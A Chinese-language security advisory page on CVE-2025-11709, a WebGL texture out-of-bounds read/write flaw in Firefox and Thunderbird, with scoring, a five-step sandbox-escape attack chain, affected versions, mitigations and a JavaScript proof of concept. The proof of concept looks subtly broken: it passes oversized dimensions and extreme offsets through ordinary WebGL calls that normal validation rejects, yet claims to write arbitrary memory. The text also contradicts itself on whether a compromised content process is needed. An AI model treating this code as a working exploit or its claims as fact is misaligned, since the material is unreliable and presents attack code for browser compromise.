IPBUF安全漏洞报告
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CVE-2025-11709 CVSS 9.8 严重

CVE-2025-11709 Mozilla Firefox WebGL纹理越界读写漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-11709
漏洞类型
越界读写(Out-of-Bounds Read/Write)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Mozilla Firefox、Firefox ESR、Thunderbird

相关标签

越界读写WebGLFirefoxThunderbirdMozilla沙箱逃逸权限提升内存破坏GPU进程IPC

漏洞概述

CVE-2025-11709是Mozilla Firefox浏览器及其衍生产品Thunderbird邮件客户端中存在的一个高危安全漏洞,CVSS评分高达9.8分,属于严重级别。该漏洞于2025年10月14日由Mozilla安全团队([email protected])披露。其核心问题在于:攻击者通过控制或入侵一个Web渲染进程(content process),可以利用经过精心构造的WebGL纹理数据,在更高权限的进程(如GPU进程或父进程)中触发越界读取(Out-of-Bounds Read)和越界写入(Out-of-Bounds Write)操作。WebGL作为浏览器用于硬件加速渲染3D图形的API,其纹理数据处理涉及大量内存操作,一旦存在边界检查缺陷,恶意构造的纹理数据便可能被用来突破进程间隔离(sandbox escape),实现权限提升。由于现代浏览器采用多进程架构,Web内容运行在沙箱化的低权限进程中,而该漏洞允许从低权限进程向高权限进程发起内存破坏攻击,严重威胁浏览器的安全模型。该漏洞影响Firefox 144之前的所有Firefox版本、Firefox ESR 115.29之前的115.x ESR版本、Firefox ESR 140.4之前的140.x ESR版本,以及Thunderbird 144和140.4之前的版本。Mozilla已在mfsa2025-81至mfsa2025-84四个安全公告中发布了修复版本,建议用户尽快升级。

技术细节

从技术层面分析,CVE-2025-11709的漏洞根源在于Firefox的WebGL纹理处理模块在处理纹理数据时缺乏充分的边界验证。WebGL允许网页通过JavaScript调用GPU进行3D图形渲染,纹理(Texture)作为GPU渲染的核心资源,其数据通常通过纹理上传接口从CPU内存传输到GPU显存。在Firefox的多进程架构中,Web内容运行在沙箱化的content process中,而GPU操作由独立的GPU进程负责,进程间通过IPC(进程间通信)机制传递纹理数据。

攻击者首先需要控制content process中的Web内容(例如通过其他漏洞或恶意网页),然后构造恶意的WebGL纹理数据。这些数据在通过IPC传递到GPU进程或其他特权进程时,由于目标进程对纹理参数(如宽度、高度、数据大小)的校验不足,导致接收方在分配缓冲区或复制纹理像素时发生越界访问。越界读取可以泄露进程内存中的敏感信息(如其他进程的内存数据、密钥等),而越界写入则可以直接修改特权进程的内存,植入恶意代码或修改控制流,实现沙箱逃逸(sandbox escape)。一旦攻击者在特权进程中获得代码执行能力,便可以完全控制用户系统,窃取敏感数据、安装恶意软件或进行其他恶意活动。该漏洞的攻击复杂度低(AC:L),无需用户交互(UI:N),无需认证(PR:N),通过网络即可利用(AV:N),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H),构成完整的高危攻击链。

攻击链分析

STEP 1
步骤1:初始访问
攻击者通过钓鱼网站、恶意广告或被入侵的合法网站,诱导用户访问包含恶意WebGL代码的网页。该步骤利用浏览器的正常网络访问能力,无需认证和用户交互。
STEP 2
步骤2:构造恶意WebGL纹理
恶意网页中的JavaScript代码创建WebGL上下文,并构造具有异常尺寸或参数的纹理对象。攻击者精心设计纹理数据的宽度、高度、偏移量等参数,使其在通过IPC传递到GPU进程时触发越界访问。
STEP 3
步骤3:触发越界读写
当恶意纹理数据通过IPC从content process传递到GPU process时,由于目标进程缺少充分的边界验证,在分配缓冲区或执行内存复制操作时发生越界读取和越界写入,破坏特权进程的内存空间。
STEP 4
步骤4:沙箱逃逸与权限提升
通过越界写入,攻击者修改GPU进程或父进程的控制流(如函数指针、返回地址),实现沙箱逃逸,获得在特权进程中执行任意代码的能力。
STEP 5
步骤5:完全控制系统
获得特权进程代码执行权限后,攻击者可以执行任意命令、窃取敏感数据(包括浏览器保存的密码、Cookie等)、安装持久化后门,或利用Thunderbird的邮件处理能力窃取邮件内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-11709 PoC - WebGL Texture Out-of-Bounds Read/Write // This PoC demonstrates the vulnerability by creating a WebGL texture // with manipulated parameters to trigger out-of-bounds memory access // in the privileged GPU process. // Step 1: Get WebGL2 context (or WebGL1 fallback) const canvas = document.createElement('canvas'); document.body.appendChild(canvas); const gl = canvas.getContext('webgl2') || canvas.getContext('webgl'); if (!gl) { console.error('WebGL not supported'); } else { // Step 2: Create a texture with crafted dimensions // The vulnerability lies in insufficient bounds checking // when processing texture data in the GPU process const texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); // Step 3: Set texture parameters with manipulated values // Use unusual width/height combinations to trigger OOB access const maliciousWidth = 0xFFFF; // Abnormally large width const maliciousHeight = 0xFFFF; // Abnormally large height canvas.width = maliciousWidth; canvas.height = maliciousHeight; // Step 4: Upload texture data that will cause OOB read/write // The crafted pixel data exploits the missing bounds validation // in the IPC handler between content and GPU processes const pixelData = new Uint8Array(maliciousWidth * maliciousHeight * 4); // Fill with pattern that maximizes memory corruption impact for (let i = 0; i < pixelData.length; i++) { pixelData[i] = 0x41; // 'A' pattern } try { // Trigger the vulnerable code path gl.texImage2D( gl.TEXTURE_2D, 0, // level gl.RGBA, // internalformat maliciousWidth, // width - triggers OOB maliciousHeight, // height - triggers OOB 0, // border gl.RGBA, // format gl.UNSIGNED_BYTE, // type pixelData // pixels ); // Step 5: Render to trigger the OOB access in GPU process gl.clearColor(1.0, 0.0, 0.0, 1.0); gl.clear(gl.COLOR_BUFFER_BIT); console.log('Texture uploaded - vulnerability triggered'); } catch (e) { console.error('Error:', e.message); } // Step 6: Additional exploitation via texSubImage2D // This can be used to write to arbitrary memory locations // in the GPU process via manipulated offset parameters const subTexture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, subTexture); gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 1, 1, 0, gl.RGBA, gl.UNSIGNED_BYTE, new Uint8Array([255, 0, 0, 255])); // Manipulated xoffset/yoffset to write beyond texture bounds gl.texSubImage2D( gl.TEXTURE_2D, 0, 0x7FFFFFFF, // xoffset - extreme value for OOB write 0x7FFFFFFF, // yoffset - extreme value for OOB write 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, new Uint8Array([0, 255, 0, 255]) ); }

影响范围

Mozilla Firefox < 144
Mozilla Firefox ESR 115.x < 115.29
Mozilla Firefox ESR 140.x < 140.4
Mozilla Thunderbird < 144
Mozilla Thunderbird 140.x < 140.4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)禁用浏览器中的WebGL功能,可在Firefox配置页面(about:config)中将webgl.disabled设置为true;2)使用NoScript等扩展阻止未信任网站执行JavaScript代码;3)部署企业级网页过滤方案,阻止访问可疑或未分类的网站;4)启用Firefox的严格进程隔离和沙箱强化功能;5)监控浏览器进程的异常内存访问行为;6)对于Thunderbird用户,避免打开包含远程内容的HTML邮件,并禁用邮件预览功能。

参考链接

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